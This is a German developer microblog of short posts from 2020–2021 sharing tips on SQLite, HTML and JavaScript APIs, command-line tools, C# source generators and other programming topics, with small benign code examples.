Ein Blog – blog.holz.nu

nikeee — Wed, 04 Nov 2020 00:00:00 GMT

Falls Ihr ein neues C/C++-Projekt anlegt und Euch fragt, welche Compiler-Flags Ihr so gesetzt haben solltet. Hier schreibt RedHat was darüber. Ihr solltet natürlich schauen, dass die Flags zu Eurem Vorhaben passen. Für Embedded-Software gibt's hier auch einen Eintrag.

Wer noch andere kennt oder Verbesserungen hat, her damit!

nikeee — Fri, 06 Nov 2020 00:00:00 GMT

Für Euer nächstes Bash-Skript: Hier ein paar Flags, die ihr womöglich setzen wollt.

nikeee — Tue, 19 Jan 2021 00:00:00 GMT

Brave kann jetzt IPFS.

nikeee — Fri, 05 Mar 2021 00:00:00 GMT

Dieses TC39-Proposal ist gerade relativ aktiv. Es bringt immutable Types und Form von Tupeln und Records.

Bin sehr gespannt, was da rauskommt. Bisher sieht es vielversprechend aus. U. a. haben wir dann die Möglichkeit, Tupel und Records als Keys in einer ES-Map zu nehmen (und dann natürlich kann man sie dann auch ordentlich mit Sets verwenden). Die JS-Engines können dann auch sicher noch besser optimieren.

nikeee — Fri, 12 Mar 2021 00:00:00 GMT

Es gibt 7-Zip jetzt auch als nativen Linux-Port. Gab es 7-Zip nicht vorher auch schon für Linux? Jetzt gibt es zwei (oder vielleicht sogar drei?).

p7zip (POSIX-7-Zip) ist ein Port eines anderen Entwicklers, der bei 16.02 stehen blieb. Der neue Port ist von Igor Pavlov selbst und wird dementsprechend auch gewartet (aktuell Version 21.01).

nikeee — Fri, 12 Mar 2021 00:00:00 GMT

Ich bin ja ein großer Fan von SQLite. Davon kam gerade Version 3.35.0 raus. Das ist für mich ein richtig großartiges Release. Kurzer Auszug:

Ein paar Mathe-Funktionen
ALTER TABLE DROP COLUMN (vorher musste man die Tabelle in eine neue kopieren)
RETURNING-Keyword für schreibende Operationen (DELETE/INSERT/UPDATE), bei dem die entsprechende Zeile zurückgegeben wird
Materialized CTEs

Bis auf die Mathe-Funktionen sind das alles Game-Changer für mich.

nikeee — Sun, 14 Mar 2021 00:00:00 GMT

Man entdeckt ja immer wieder Sachen in der IT, die man (bisher) nirgends gesehen hat, aber eigentlich ziemlich praktisch sind oder ein Problem auf eine andere Art lösen.

Für HTML hab ich heute: Die Attribute ping, hreflang und download beim a-Tag.

Habe eine mehr oder weniger große Liste, die sich über die Jahre angesammelt hat. Diese werde ich in ein paar Blog-Posts umwandeln. Also nicht wundern, wenn mal eine API dabei ist, die schon etwas älter ist.

nikeee — Sun, 14 Mar 2021 00:00:00 GMT

Falls Ihr mal sehen wollt, wie aufregend man x86-Instructions finden kann.

Ist generell ein toller Kanal, falls Euch Assembler interessiert.

nikeee — Sun, 14 Mar 2021 00:00:00 GMT

Aus der Serie "was, sowas gibt's?", heute:

Einen HTTP-Header, mit dem man dem Browser bittet, den Local-/Session-/IndexDB-Storage, die Cookies und den Cache zu löschen.

nikeee — Mon, 15 Mar 2021 00:00:00 GMT

Beim komprimieren von tar-Dateien kann man deutlich unterschiedliche Ergebnisse bekommen. Offenbar ist die Reihenfolge, in der die Dateien in einer tar landen, bei GNUs und BSDs tar nicht definiert.

Wenn man jetzt Dateien hat, die ähnlicheren Inhalt aufweisen, je "näher" die Dateinamen sind, kann man mehr Kompression rausholen.

Bei GNUs tar gibt's dafür --sort und sorgt bei einem Nutzer hier für 15-fach bessere Kompression.

Ggf. ist es sogar sinnvoll, die Dateien umzubenennen, sodass die Extension vorne steht. So kann die Kompression die gleichen Datei-Header direkt besser komprimieren.

nikeee — Tue, 16 Mar 2021 00:00:00 GMT

Es gibt in JS die Funktionen console.time(string?) und console.timeEnd(string?) für's einfache Messen von Laufzeiten.

nikeee — Tue, 16 Mar 2021 00:00:00 GMT

Heutzutage stellen sich viele ein ganzes Cluster hin, um eine Webseite mit 0.3 Requests pro Sekunde zu betreiben. Die ganze Schiene mit K8s etc., also horizontaler Skalierung ("mehr Maschinen") und ganz viele Micro-Services. Sowas hat auch ein paar Nachteile, wie z. B., dass der Wartungsoverhead schnell sehr hoch wird.

Vielleicht ist manchen gar nicht bewusst, wie viel man mit vertikaler Skalierung (also z. B. "mehr RAM in die Maschine") eigentlich erreichen kann. Gerade bin ich auf ein schönes Beispiel gestoßen, das man vielleicht einigen mal zeigen sollte: StackOverflow bzw. StackExchange hat gerade mal 9 Webserver und 2 dicke Datenbankserver. Einen für StackOverflow, einen für die restlichen StackExchange-Seiten. Da habe ich schon deutlich aufgeblähtere Stacks mit einer nicht ansatzweise vergleichbaren Last gesehen als das, was StackOverflow da fährt.

nikeee — Wed, 17 Mar 2021 00:00:00 GMT

Man kann in HTML den Browser einen DNS-Namen prefetchen lassen. Damit hat er den Namen schon aufgelöst, bevor man die sich dorthin verbinden will:

<link rel="dns-prefetch" href="https://api.example.com" >

MDN dazu

nikeee — Wed, 17 Mar 2021 00:00:00 GMT

Falls Ihr gerade 3 Stunden Zeit habt, einen Podcast zu hören:

Lex Fridman redet hier mit Brendan Eich.

Brendan geht auf viele Trivia der Computergeschichte ein und hat gefühlt irgendwie alles einmal gemacht. Natürlich geht es viel um JavaScript, die Visionen, die sie damals alle hatten, und viel Zeug im Hintergrund.

Man erfährt zum Beispiel auch, was ihn damals dazu gebracht hat, Type Coercion (also das nicht immer nachvollziehbare Umwandeln von Typen) in JS zu bauen. Anfangs war JS nämlich "ordentlich".

Falls Euch Brendan Eich nichts sagt, das ist der, der JavaScript entwickelt hat und lange Zeit der CEO von Mozilla war.

nikeee — Wed, 17 Mar 2021 00:00:00 GMT

Hier hat jemand eine Chart-Plotting-Library gebaut, die ausschließlich mit CSS läuft.

Die Idee: Man listet seine Daten in einer <table>. Bei manchen Diagramm-Typen braucht man noch ein paar Style-Attribute, mit denen man das Verhalten beeinflusst. Anstatt der Tabelle sieht man dann z. B. ein Balkendiagramm.

Das ist nicht nur cool, weil's ne Alternative zu SVG-Renderings ist. Weil es ja auch nur eine gestylte Tabelle ist, hat man gleich bessere Accessibility. Und man kann schnell mal einen Plot prototypen, ohne sich mit D3 oder Chart.js beschäftigen zu müssen.

nikeee — Sat, 20 Mar 2021 00:00:00 GMT

Eine schöne Liste von Dingen, die alles in einem HTML-head-Element stehen können (quelltext).

nikeee — Wed, 24 Mar 2021 00:00:00 GMT

Eine (Web-)Extension, die Tracking-parameter und anderes unnützes Kram aus URLs entfernt.

nikeee — Thu, 25 Mar 2021 00:00:00 GMT

HTML hat Templating über ein template-Tag:

<template id="row">
	<tr>
		<td class="record"></td>
		<td></td>
	</tr>
</template>

So kann man komplexere DOM-Teile konstruieren, ohne sich in document.createElement() und .appendChild() zu verlieren. Beispiel aus MDN zu dem Template oben:

const template = document.querySelector('#row');

// Clone the new row and insert it into the table
const clone = template.content.firstElementChild.cloneNode(true /* true for deep clone */);
const tds = clone.querySelectorAll("td");
tds[0].textContent = "1235646565";
tds[1].textContent = "Stuff";
tbody.appendChild(clone);

Ist vor allem praktisch, wenn man schmal ohne irgendwelche UI-Frameworks arbeitet. Mehr auf MDN.

nikeee — Thu, 25 Mar 2021 00:00:00 GMT

Ich bin's wieder mit meinem SQLite. Hier ein toller Post darüber, was SQLite alles out-of-the-box mitliefert. Einige Sachen erstaunen mich dann doch etwas (z. B. nativer JSON-Support und Perzentile) (HN-Thread dazu).

nikeee — Thu, 25 Mar 2021 00:00:00 GMT

Ein schöner Talk über die Geschichte und Idee von systemd.

nikeee — Thu, 25 Mar 2021 00:00:00 GMT

Immer eine leere 8 GB-Datei auf dem Server haben. Die kann man löschen, wenn irgendwas vollgelaufen ist und man Speicher braucht, um das Problem zu fixen (HN dazu).

fallocate -l 8G spacer.img && sync

Bei ext3/4 werden übrigens standardmäßig 5% des Speichers reserviert. Wenn alles kaputt geht, kann man da auch noch dran drehen.

nikeee — Fri, 26 Mar 2021 00:00:00 GMT

Wir hatten ja gestern HTML-Templates. Das Ganze kann man kombinieren oder ersetzen mit Web Components bzw. Custom Elements. Die Idee ist, dass man eine ES6-Klasse von HTMLElement erben lässt und diese Klasse dann am Browser für ein bestimmtes Tag registriert.

Das ist in meinen Augen etwas umständlicher als z. B. in React, aber dafür funktioniert es ohne Frameworks. Vermutlich ist das auch ganz gut für solche Frameworks wie React, als Compile-Target.

Ich verlink hier nur mal MDN, statt das Riesenbeispiel zu rezitieren: Using custom elements.

Der CanIUse-Eintrag dazu.

nikeee — Fri, 26 Mar 2021 00:00:00 GMT

schöne Übersichtsseite, bei der man sieht, was für Permissions man einer Webseite geben kann (und wo man keine braucht).

nikeee — Mon, 29 Mar 2021 00:00:00 GMT

Für die console.log-Debugger: In JS gibt es console.table(), um Arrays (oder auch Objekte, wenn man will) darzustellen (MDN dazu):

console.table(["apples", "oranges", "bananas"]);

Funktioniert im Browser und in Node.js. Bei Node bekommt man diese Ausgabe:

Welcome to Node.js v15.11.0.
> // Bei Arrays:
> console.table(["apples", "oranges", "bananas"]);
┌─────────┬───────────┐
│ (index) │  Values   │
├─────────┼───────────┤
│    0    │ 'apples'  │
│    1    │ 'oranges' │
│    2    │ 'bananas' │
└─────────┴───────────┘

> // Bei Objekten:
> console.table({firstName: "Anders", lastName: "Hejlsberg"})
┌───────────┬─────────────┐
│  (index)  │   Values    │
├───────────┼─────────────┤
│ firstName │  'Anders'   │
│ lastName  │ 'Hejlsberg' │
└───────────┴─────────────┘

// Bei Arrays von Objekten:
> console.table([{firstName: "Anders", lastName: "Hejlsberg"}, {firstName: "Guido", lastName: "van Rossum"}])
┌─────────┬───────────┬──────────────┐
│ (index) │ firstName │   lastName   │
├─────────┼───────────┼──────────────┤
│    0    │ 'Anders'  │ 'Hejlsberg'  │
│    1    │  'Guido'  │ 'van Rossum' │
└─────────┴───────────┴──────────────┘

Zum Debuggen oder einfache Skriptausgabe reicht's. Und bei Node.js hab ich auch schon ein NPM-Paket für Tabellen in der Konsole damit abgelöst.

nikeee — Mon, 29 Mar 2021 00:00:00 GMT

Wie Emojis unter der Haube funktionieren.

Passend dazu (vielleicht sollte man das sogar noch vorher lesen): Was man über Unicode und UTF-* wissen sollte.

nikeee — Tue, 30 Mar 2021 00:00:00 GMT

Man kann mit JS das Handy / sonstige Endgerät vibrieren lassen, über die Web Vibration API (CanIUse dazu).

nikeee — Tue, 30 Mar 2021 00:00:00 GMT

Ein Hacker-freundliches "WieIstMeineIp".

nikeee — Tue, 30 Mar 2021 00:00:00 GMT

Ein tolles Essay darüber, dass man lieber Libraries, statt Frameworks schreiben soll.

nikeee — Wed, 31 Mar 2021 00:00:00 GMT

Keine Lust, jedes Mal die ASCII-Tabelle zu googlen?

Versucht es hiermit, hat mein Leben verändert:

man ascii
man utf8

nikeee — Fri, 02 Apr 2021 00:00:00 GMT

Ein Language-Server für Bash.

Einen Language-Server kann man als Backend für Autovervollständigung und viele andere Editor-/IDE-Features verwenden. Das hat sich ursprünglich Microsoft ausgedacht, für VSCode. So muss man nicht jede Sprachintegration für jeden Editor neu bauen, sondern redet beispielsweise über JSON-RPC mit dem "intelligenten" Backend.

nikeee — Fri, 02 Apr 2021 00:00:00 GMT

Der Dienst ist schon etwas älter, aber immer noch hilfreich.

Bei bugmenot.com findet man Login-Credentials zu Webseiten, die einen zum Login zwingen. Erstellt werden die Accounts von (wütenden?) Individuen. In Firefox könnt Ihr auf dem Suchfeld einfach einen Rechtsklick -> "Add a keyword for this search..." machen. Ich habe das Keyword bug. Wenn ich dann auf bug abc.de gehe, werde ich dort auf die Seite mit den Credentials weitergeleitet.

Falls Ihr doch nicht drum herum kommt, einen Account zu machen: Nehmt eine Wegwerf-Adresse. Ich meine jetzt nicht eine, die ihr noch irgendwo rumliegen habt. Viel mehr sowas wie 10minutemail, wo man eine E-Mail-Adresse bekommt, die 10 Minuten lang gültig ist, damit man den Aktivierungslink bestätigen kann.

Tragt den erstellten Account dann am besten bei BugMeNot ein.

Für die Wegwerf-Adressen gibt es noch das Firefox-AddOn Bloody Vikings. Da kann man mit einem Rechtsklick auf ein E-Mail-Feld direkt eine Wegwerf-Adresse eintragen (die Seite mit dem Posteingang öffnet sich dann im Hintergrund). Wird leider nicht mehr so aktiv gewartet. Wer eine Alternative hat. Her damit!

nikeee — Fri, 02 Apr 2021 00:00:00 GMT

Seit .NET 5 gibt es in C# ein Sprachfeature, mit dem man Code generieren kann, basierend auf dem C#-Code, der schon da ist.

Das öffnet vielen Dingen die Tore, z. B.:

Dependency Injection zur Compiletime (statt Runtime); dadurch schnellere Startzeit
Spezialisierte (JSON-)Serialisierungs-Typen, die genau einen bestimmten Typen (De-)Serialisieren können
Ganz viel Reflection fällt weg

Eigentlich ist Code-Generation gar nicht so toll. Man hat am Ende Zeug, das man nicht ordentlich debuggen kann und im Zweifelsfall ist der Fehler im Code-Generator. Sowas ist auch immer ein Zeichen dafür, dass die Sprache nicht ausdrucksstark genug ist. Außerdem habe ich bisher schlechte Erfahrungen damit gemacht (ok, eigentlich nur in Java). Da hat man immer mal wieder das Problem, dass generierter Code (z. B. von immutables.org) "noch nicht da ist" und die IDE dann meckert, warum man eine nicht-existente Klasse verwendet (in diesem Fall z. B. der Builder für einen unveränderlichen Typen).

Man sieht aber trotzdem den Use-Case für solche Dinge. Da C# sich aktuell stark darauf hinentwickelt, Ahead-Of-Time-Compile-fähig zu sein, ergibt dieses Feature Sinn. Z.B. ist Reflection bei AOT-Kompilierung ein Dorn im Auge, da man nicht weiß, welche Typen/Codeteile man aus der fertigen Assembly rausschmeißen kann. Man kann außerdem sehr schön optimieren, wenn man konkreten Code mit ordentlichen Typen statt Reflection hat.

Vermutlich werden viele Dinge, die C# vor ein paar Jahren noch als eigenes Feature gebaut hätte, jetzt als Source-Generator implementiert. Letztendlich ist das ja auch nur ein Compiler-Plugin, das Lowering betreibt. Hoffentlich wird es die Sprache nicht allzu krass verwässern. Die Befürchtung habe ich ja schon.

Hier ist eine Liste mit Source-Generatoren, die man sich in einer freien Minute anschauen kann. Viel Zeug dabei, das man nicht braucht. Aber auch viel nützliches.

nikeee — Sat, 03 Apr 2021 00:00:00 GMT

Heute schon die Firmware eurer Kaffeetasse geupdated?

nikeee — Sun, 04 Apr 2021 00:00:00 GMT

Kennt Ihr jq? Damit könnt Ihr Jsonpath-Querys auf JSON im Terminal werfen. So kann man ganz gut strukturierte Daten in Bash-Skripten verarbeiten.

xq kann das mit XML.

Für YAML gibt es zwei verschiedene, einmal yq (einen jq-Wrapper für XML, YAML und TOML) und yq (jq nur für ausschließlich YAML). Leider haben beide denselben Namen.

Dann gibt es noch q. Mit q kann man SQL-Querys auf CSV-Dateien absetzen.

nikeee — Mon, 05 Apr 2021 00:00:00 GMT

Falls Ihr Duplikate (bitweise identisch) löschen wollt: rmlint ist ein tolles Tool dafür.

Löscht nicht direkt, generiert nur ein Shell-Skript mit dem man dann die Löschung vornimmt. Hat auch diverse Optionen. Z. B. kann man statt Löschen auch einen Sym- oder Hardlink erstellen. Verwende ich bei meinen Readonly-Backups, um etwas Platz zu sparen.

Wer experimentierfreudig ist, kann das mit dem Hardlinks ja auch mal auf einem node_modules ausprobieren. Die npm-Alternative pnpm fährt einen Symlink-Ansatz.

nikeee — Mon, 05 Apr 2021 00:00:00 GMT

Glaubt Ihr zu wissen, wie eine E-Mail-Adresse aufgebaut sein kann?

Lest mal das hier in einer freien Minute.

nikeee — Mon, 05 Apr 2021 00:00:00 GMT

Google’s copying of the Java SE API was fair use.

nikeee — Mon, 05 Apr 2021 00:00:00 GMT

Cooler Hack: Git als NoSql-Datenbank.

Dabei habe ich auch gelernt, dass man sich den Inhalt einer Datei in einem bestimmten Branch mit git show <branch>:<dateipfad> anzeigen lassen kann.

nikeee — Tue, 06 Apr 2021 00:00:00 GMT

Die FSF sagt übrigens, wenn in deiner Lizenz "The Software shall be used for Good, not Evil." steht, verletzt das "freedom 0" und macht somit die ganze Lizenz Non-Free.

In dem StackOverflow-Post hatte jemand gefragt, warum plötzlich sein PHP nicht mehr JSON deserialisieren kann. Manche Distributionen haben php*-json rausgenommen, weil es keine freie Lizenz (nach FSF) hat.

nikeee — Tue, 06 Apr 2021 00:00:00 GMT

TIL: Oracle hat seinen Ursprung in der CIA. Die CIA brauchte eine dicke Datenbank. Das interne Projekt mit dem Codenamen hieß Oracle, was später zu der Firma wurde.

nikeee — Tue, 06 Apr 2021 00:00:00 GMT

Hatte neulich Tools verlinkt, mit denen man auf Dateiinhalte Querys absetzen kann.

Heute springt mit das Tool fselect entgegen. Da kann man SQL-like Abfragen auf das Dateisystem machen, um z. B. eine Datei zu finden. Falls man nicht so fluent in find ist.

Beispiele aus der README:

fselect "name from /tmp where (name = *.tmp and size = 0) or (name = *.cfg and size > 1000000)"
fselect "LOWER(name), UPPER(name), LENGTH(name), YEAR(modified) from /home/user/Downloads"
fselect size, path from /home/user where name = '*.cfg' or name = '*.tmp'
fselect size, abspath from ./tmp where size gt 2g

nikeee — Thu, 08 Apr 2021 00:00:00 GMT

Wer seine JS-Querdenken-Fähigkeit trainieren will, ist mit diesem Spiel richtig: Return true to win und alert(1) to win

nikeee — Thu, 08 Apr 2021 00:00:00 GMT

Ein schöner Post über ein paar Internals von Git. Im speziellen geht es darum, dass Commits in Git keine Diffs, sondern Snapshots sind.

nikeee — Sun, 11 Apr 2021 00:00:00 GMT

Es gibt einen dialog-Tag für Modals und sonstige interaktive Komponenten.

nikeee — Mon, 12 Apr 2021 00:00:00 GMT

Eine Seite mit Sammlungen an Tipps für die Chrome-Dev-Tools, ein bisschen HTML und JS. Vergesst bitte nicht, auch noch in Firefox zu testen! :)

nikeee — Mon, 12 Apr 2021 00:00:00 GMT

Man kann mit JS ohne jQuery ein Element "smooth" in den sichtbaren Bereich scrollen:

el.scrollIntoView({
    behavior: "smooth",
});

Man kann zu html-anchor auch ohne JS scrollen, mit CSS:

html {
    scroll-behavior: smooth;
}

Dann im HTML:

<a href="#tolle-ueberschrift">Klick hier</a>
<h1 id="tolle-ueberschrift">Es folgt ein toller Artikel...</h1>

MDN dazu, CanIUse dazu

Wer Probleme damit hat, dass auf mobilgeräten mit Touchscreen manchmal Dinge gescrollt werden, die eigentlich nicht gescrollt werden sollten, den rettet vielleicht die overscroll-behavior-Eigenschaft.

nikeee — Mon, 12 Apr 2021 00:00:00 GMT

Mit console.group kann man (auf-/einklappbare) Abschnitte in der JS-Konsole erzeugen. Die können auch durchaus verschachtelt sein:

console.log("This is the outer level");
console.group();
console.log("Level 2");
console.group();
console.log("Level 3");
console.warn("More of level 3");
console.groupEnd();
console.log("Back to level 2");
console.groupEnd();
console.log("Back to the outer level");

MDN dazu

nikeee — Tue, 13 Apr 2021 00:00:00 GMT

Wer öfters mit Node.js und im Browser arbeitet, der wird on() bei Node.js und addEventListener() im Browser kennen.

Oft möchte man aber nur ein einziges Mal auf ein Event reagieren. Bei Node.js gibt es dafür once(). Verhält sich wie on(), wird aber nur ein Mal aufgerufen.

Bisher dachte ich, dass man das bei addEventListener() immer manuell machen musste. Es geht aber so:

element.addEventListener("click", () => {}, {
    once: true,
});

MDN dazu

nikeee — Wed, 14 Apr 2021 00:00:00 GMT

Wir hatten ja gerade Event-Listener-APIs. Da gibt's noch mehr:

Will man viele Handler auf einmal entfernen, kann man das auch über einen AbortController machen:

const controller = new AbortController();

element1.addEventListener("click", () => {}, {
    signal: controller.signal,
});
element2.addEventListener("click", () => {}, {
    signal: controller.signal,
});
element3.addEventListener("click", () => {}, {
    signal: controller.signal,
});

// Alle Handler entfernen
controller.abort();

Was mir an der Lösung so schön gefällt, ist, dass man kein removeEventListener braucht. Genauer gesagt: Man muss die Lambdas nicht in Variablen auslagern, damit man sie dann removeEventListener wieder übergeben kann.

Der AbortController ist sowas ähnliches wie die CancellationTokenSource und das AbortSignal sowas wie das CancellationToken aus .NET.

Man kann den AbortController auch nutzen, um einen fetch-Request abzubrechen:

fetch(url, {
    signal: controller.signal,
});

Besonders toll finde ich, dass man damit mehrere Aktionen gleichzeitig abbrechen kann.

Leider ist das ganze API-spezifisch. Also man kann nicht generell Promises damit abbrechen. Dafür gab es mal ein Proposal und ein wenig später noch eins, das auch nicht mehr so aktiv ist.

MDN-links:

nikeee — Sun, 18 Apr 2021 00:00:00 GMT

Bin gerade auf diese Seite zum Generieren von Mock-Daten gestoßen:

https://mockaroo.com

Sieht cool aus. Sind aber kommerziell - vielleicht gibt's auch FOSS-CLI-Tool-Alternativen?

nikeee — Wed, 21 Apr 2021 00:00:00 GMT

Ihr kennt sicherlich <input type="email> und so weiter. Wenn einem das nicht reicht, kann man input-Felder auch mit RegEx-Patterns validieren:

<input
    type="text"
    name="country_code"
    pattern="[A-Za-z]{3}"
    title="Three letter country code"
>

(W3Schools dazu)

nikeee — Wed, 21 Apr 2021 00:00:00 GMT

Node.js 16 ist da

Spannende Neuerungen: Eigentlich keine.

nikeee — Wed, 21 Apr 2021 00:00:00 GMT

WSL kann jetzt offiziell Linux-GUI-Anwendungen mit Ton und GPU-Beschleunigung.

Mit Xming konnte man schon vorher GUI-Anwendungen in WSL laufen lassen. Jetzt wird es aber offiziell von MS unterstützt. Die dazugehörige Software ist open-source.

nikeee — Sun, 25 Apr 2021 00:00:00 GMT

Mit apt-file kann man in APT-Paketen nach einer Datei suchen. Das ist praktisch, wenn man mal wieder ein Latex-Dokument kompilieren will und irgendein Package fehlt und man nicht weiß, welches man dafür installieren muss.

Konkretes Beispiel: listings.sty wird nicht gefunden.

$ apt-file search listings.sty
latexml: /usr/share/perl5/LaTeXML/Package/listings.sty.ltxml
texlive-extra-utils: /usr/share/texlive/texmf-dist/tex/latex/checklistings/checklistings.sty
texlive-lang-japanese: /usr/share/texlive/texmf-dist/tex/luatex/luatexja/patches/lltjp-listings.sty
texlive-latex-extra: /usr/share/texlive/texmf-dist/tex/latex/cnltx/cnltx-listings.sty
texlive-latex-extra: /usr/share/texlive/texmf-dist/tex/latex/exsheets/exsheets-listings.sty
texlive-latex-recommended: /usr/share/texlive/texmf-dist/tex/latex/filehook/filehook-listings.sty
texlive-latex-recommended: /usr/share/texlive/texmf-dist/tex/latex/listings/listings.sty
texlive-latex-recommended: /usr/share/texlive/texmf-dist/tex/latex/lwarp/lwarp-listings.sty
texlive-publishers: /usr/share/texlive/texmf-dist/tex/latex/hagenberg-thesis/hgblistings.sty
texlive-xetex: /usr/share/texlive/texmf-dist/tex/xelatex/xecjk/xeCJK-listings.sty

War in diesem Fall dann wohl texlive-latex-recommended.

nikeee — Mon, 26 Apr 2021 00:00:00 GMT

Kleiner Selbsttest: Wie viel kann ein Computer in einer Sekunde machen?

nikeee — Sun, 02 May 2021 00:00:00 GMT

Ich immer, mit meinem SQLite. Hier hat jemand etwas echt cooles gebaut: Eine SQLite-Datei, statisch gehostet. Der JS-Client kann an diese Anfragen schicken. Ein Wrapper um das Client-Dateisystem fragt Seiten erst an, wenn der SQLite-Client sie lesen will.

Warum ist das cool? Man kann damit eine komplett statisch gehostete Suchfunktion für statische Seiten bauen, bei dem die SQLite-DB bei jedem Page-Build frisch gebaut wird. Oder bequem Datensätze an den Client ausliefern, ohne ein Backend zu haben. Da gibt's sicher noch einige Anwendungsfälle mehr!

nikeee — Wed, 05 May 2021 00:00:00 GMT

parseInt ist in JavaScript so ein Ding. Nicht nur, dass der zweite Parameter die Basis angibt und es damit unnütz für Operationen wie .map wird<sup>1</sup>. Nein, auch, wenn das zu parsende bereits eine Zahl ist, gibt's Probleme!

Nehmen wir dieses schöne Beispiel und versucht rauszubekommen, was das Ergebnis für jede Zeile ist:

parseInt(0.5);
parseInt(0.05);
parseInt(0.005);
parseInt(0.0005);
parseInt(0.00005);
parseInt(0.000005);
parseInt(0.0000005);

Richtig, alle Zeilen bis auf die letzte geben 0 zurück. Und die letzte? Die wird zu 5. Hier die Erklärung, wie das zustande kommt. tl;dr: 0.0000005.toString() ist "5e-7", welches bis zum e geparst wird. Die davor sind 0, weil 0.000005.toString() zum String "0.000005" wird (und der Parser korrekterweise den Integer 0 daraus macht). Das verursacht aktuell bestimmt schon viele Bugs und wär' bestimmt auch ein cooler Aufhänger für ein Node.js-CTF!

Als Alternative zu parseInt könnte man jetzt so Konstrukte wie Number(0.0000005) | 0 ranziehen. Vielleicht hat das aber auch wieder seine Fallstricke?

<sup>1</sup>: Zugegebenermaßen ist es aber auch sinnvoll, die Basis zum Parsen mit angeben zu können.

nikeee — Wed, 05 May 2021 00:00:00 GMT

Das Temporal-Proposal ist neulich in Stage 3 gelandet. Das ist eine neue Zeit-API für JavaScript, mit der man endlich Date, moment.js etc. wegwerfen kann.

Hier eine schnelle Übersicht. Wesentlich ist die Unterscheidung zwischen einem "Datum"/"Datum+Zeit" und einem "Instant". Das letztere kennen viele vielleicht als Konzept aus Jodatime/Nodatime und ist eigentlich fast immer das, was man will, wenn man mit Timestamps arbeitet.

Zusammen mit den APIs Intl.DateTimeFormat und Intl.RelativeTimeFormat braucht man jetzt eigentlich keine Librarys mehr für irgendwelche Dinge mit Zeit. Die gesamte Intl-API ist übrigens einen Blick wert. Da sind auch so Sachen wie Zahlenformatierung und Plural-Regeln.

nikeee — Sat, 08 May 2021 00:00:00 GMT

Ein interessanter Ansatz für Shell-Skripte. Das ist JavaScript, aber mit einigen Default-Imports und npm-Paketen. Die Demos sehen interessant aus:

#!/usr/bin/env zx

await $`cat package.json | grep name`

let branch = await $`git branch --show-current`
await $`dep deploy --branch=${branch}`

await Promise.all([
  $`sleep 1; echo 1`,
  $`sleep 2; echo 2`,
  $`sleep 3; echo 3`,
])

let name = 'foo bar'
await $`mkdir /tmp/${name}`

nikeee — Thu, 13 May 2021 00:00:00 GMT

Falls Ihr Node.js/JavaScript und Promises verwendet: Diesen Talk solltet Ihr gesehen haben. Schickt ihn am besten auch an Eure Kollegen. Prämisse: Ihr benutzt wahrscheinlich Promises falsch. Kann man auch auf 1.25-facher Geschwindigkeit schauen.

nikeee — Mon, 17 May 2021 00:00:00 GMT

Die heutige SQLite-News: SQLite hat eine Volltextsuche. War unter diesem Artikel verlinkt, der eine Elasticsearch-Instanz mit SQLite ersetzt hat.

SQLite überrascht mich immer wieder.

nikeee — Tue, 18 May 2021 00:00:00 GMT

Ideen, wo man das EICAR-AV-Testfile überall eingeben könnte. Naja, eigentlich überall, wo man auch SQL-Injections probieren könnte.

nikeee — Fri, 21 May 2021 00:00:00 GMT

Mittlerweile kann jeder nennenswerte Browser das backdrop-filter-Attribut in CSS. Damit kann man diverse Filter auf das anwenden, was hinter einem HTML-Element liegt. Z. B. einen Weichzeichner, Graustufen, Sepia etc.

Früher war das immer kompliziert, wenn Leute Aero-Effekt von Vista nachbauen wollten; jetzt geht das mit einer CSS-Eigenschaft.

nikeee — Fri, 21 May 2021 00:00:00 GMT

Sublime Text 4 ist da.

nikeee — Mon, 24 May 2021 00:00:00 GMT

Es gibt ja so diverse Blog-Posts, die man als Internetmensch normalerweise mal gesehen hat. Ich fange hier mal eine Serie an.

Der Anfang ist: The Web is Doom aus 2016. Grundaussage: Die durchschnittliche Webseite ist heute (also das Heute von 2016) größer als das erste DOOM, dem 2.5D-Shooter.

nikeee — Mon, 24 May 2021 00:00:00 GMT

Warum ich überhaupt auf den DOOM-Post gekommen bin: Es gibt auch ein CAPTCHA, in dem man in einem fake-DOOM mindestens 4 Gegner treffen muss. Ist natürlich nicht das "echte" DOOM. Aber möglich wäre das sicherlich über WebAssembly und WebGL. Und bei der Durchschnittsgröße einer Webseite heutzutage würde es vermutlich nicht mal auffallen, wenn man das komplette DOOM nur für das CAPTCHA lädt.

nikeee — Mon, 24 May 2021 00:00:00 GMT

Der nächste Klassiker-Post: I Knew How To Validate An Email Address Until I Read The RFC.

Auch schon etwas älter (2007), aber hat nicht an Relevanz verloren. Auf HN war auch gerade ein passender Post dazu.

nikeee — Tue, 25 May 2021 00:00:00 GMT

Gerade hat Microsoft ihre Entwicklerkonferenz BUILD. Da kam jetzt auch eine neue Preview-Version von .NET 6 raus. Hier gibt es einen Artikel über die Neuerungen. Viel cooles dabei. Am meisten freuen mich die neuen Funktionen in der LINQ.

nikeee — Wed, 26 May 2021 00:00:00 GMT

TypeScript 4.3.

nikeee — Sat, 29 May 2021 00:00:00 GMT

Ein weiterer Blog-Post, den viele kennen: PHP: a fractal of bad design

Ist auch schon etwas älter (2012). In der Zeit hat sich fairerweise auch schon viel getan. Das meiste ist aber irreversibel in der Sprache verankert. Versteht mich nicht falsch, ich will hier ein sinnloses PHP-gebashe betreiben. Man kann PHP durchaus für Dinge verwenden. Es ist halt eine von vielen möglichen Lösungen.

nikeee — Thu, 03 Jun 2021 00:00:00 GMT

Was ist Euer lieblings-Hex-Editor? hxd? 010?

Schon mal Audacity versucht?

nikeee — Sat, 05 Jun 2021 00:00:00 GMT

Einer meiner Lieblings-Youtuber, Ben Eater, hat gerade ein neues Video hochgeladen: How does a USB keyboard work?

Ich hab's noch nicht gesehen, kann aber jetzt schon sagen, dass es sich lohnt. In seinem Kanal baut+erklärt er diverse Dinge auf einem Breadboard. Z. B. einen 8-Bit-Prozessor, eine VGA-Ansteuerung und eine PS2-Tastatur-Ansteuerung. Er baut das nicht einfach so, sondern zeigt auch, wie man das an einen Prozessor anbindet (dem 6502). Wenn man also seinen Videos folgt, kann man schon einen Computer mit Tastatur und Bildschirm(en) auf einem Breadboard bauen... und jetzt kommt die erste USB-Peripherie!

nikeee — Fri, 11 Jun 2021 00:00:00 GMT

Lesetipp: Bei IEEE-floats macht es einen deutlichen Unterschied, in welcher Reihenfolge man sie addiert. Man kann Rundungsfehler so kleiner halten.

Wem sowas wichtig ist, sollte natürlich einen Datentyp ohne dieses Problem wählen.

nikeee — Tue, 15 Jun 2021 00:00:00 GMT

Warum heißt es eigentlich "Datenvolumen"? Warum sind Daten ein Rauminhalt?

